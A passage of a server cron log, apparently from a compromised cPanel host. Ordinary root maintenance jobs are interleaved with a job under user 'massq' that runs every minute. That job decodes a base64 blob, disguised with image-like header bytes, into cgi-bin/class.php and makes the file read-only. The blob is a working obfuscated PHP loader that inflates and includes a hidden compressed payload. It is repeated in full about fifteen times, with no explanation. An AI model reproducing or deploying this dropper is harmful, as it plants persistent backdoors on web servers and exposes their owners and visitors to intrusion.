R4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:42:01 server CROND[21518]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 16:42:01 server CROND[21519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:43:01 server CROND[21690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:44:01 server CROND[21744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:45:01 server CROND[21802]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 16:45:01 server CROND[21803]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 16:45:01 server CROND[21804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:46:01 server CROND[21914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:47:01 server CROND[21985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:48:01 server CROND[22196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:49:01 server CROND[22265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:50:01 server CROND[22325]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 16:50:01 server CROND[22326]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 16:50:01 server CROND[22328]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 16:50:01 server CROND[22331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:50:01 server CROND[22330]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 16:51:01 server CROND[22456]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:52:01 server CROND[22501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:53:01 server CROND[22649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:54:01 server CROND[22704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 16:55:01 server CROND[22756]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 16:55:01 server CROND[22758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHg